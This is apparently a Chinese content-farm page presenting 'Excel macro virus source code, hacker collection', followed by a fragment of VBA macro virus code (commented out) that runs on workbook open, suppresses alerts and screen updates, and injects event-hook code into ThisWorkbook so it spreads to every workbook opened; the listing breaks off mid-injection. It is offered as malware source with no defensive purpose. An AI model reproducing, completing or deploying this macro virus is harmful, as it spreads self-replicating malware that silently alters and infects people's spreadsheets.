常见excel病毒（EXCEL宏病毒源码黑客典藏版本-编程绝版教材）

'Private Sub auto_open()'Application.DisplayAlerts = False，现在小编就来说说关于常见excel病毒?下面内容希望能帮助到你，我们来一起看看吧!

常见excel病毒

'Private Sub auto_open()

'Application.DisplayAlerts = False

'If ThisWorkbook.Path <> Application.StartupPath Then

' Application.ScreenUpdating = False

' Call delete_this_wk

' Call copytoworkbook

' If Sheets(1).Name <> "Macro1" Then Movemacro4 ThisWorkbook

' ThisWorkbook.Save

' Application.ScreenUpdating = True

'End If

'End Sub

'Private Sub copytoworkbook()

' Const DQUOTE = """"

' With ThisWorkbook.VBProject.VBComponents("ThisWorkbook").CodeModule

'.InsertLines 1, "Public WithEvents xx As Application"

'.InsertLines 2, "Private Sub Workbook_open()"

'.InsertLines 3, "Set xx = Application"

'.InsertLines 4, "On Error Resume Next"

'.InsertLines 5, "Application.DisplayAlerts = False"

'.InsertLines 6, "Call do_what"

'.InsertLines 7, "End Sub"

'.InsertLines 8, "Private Sub xx_workbookOpen(ByVal wb As Workbook)"

'.InsertLines 9, "On Error Resume Next"

,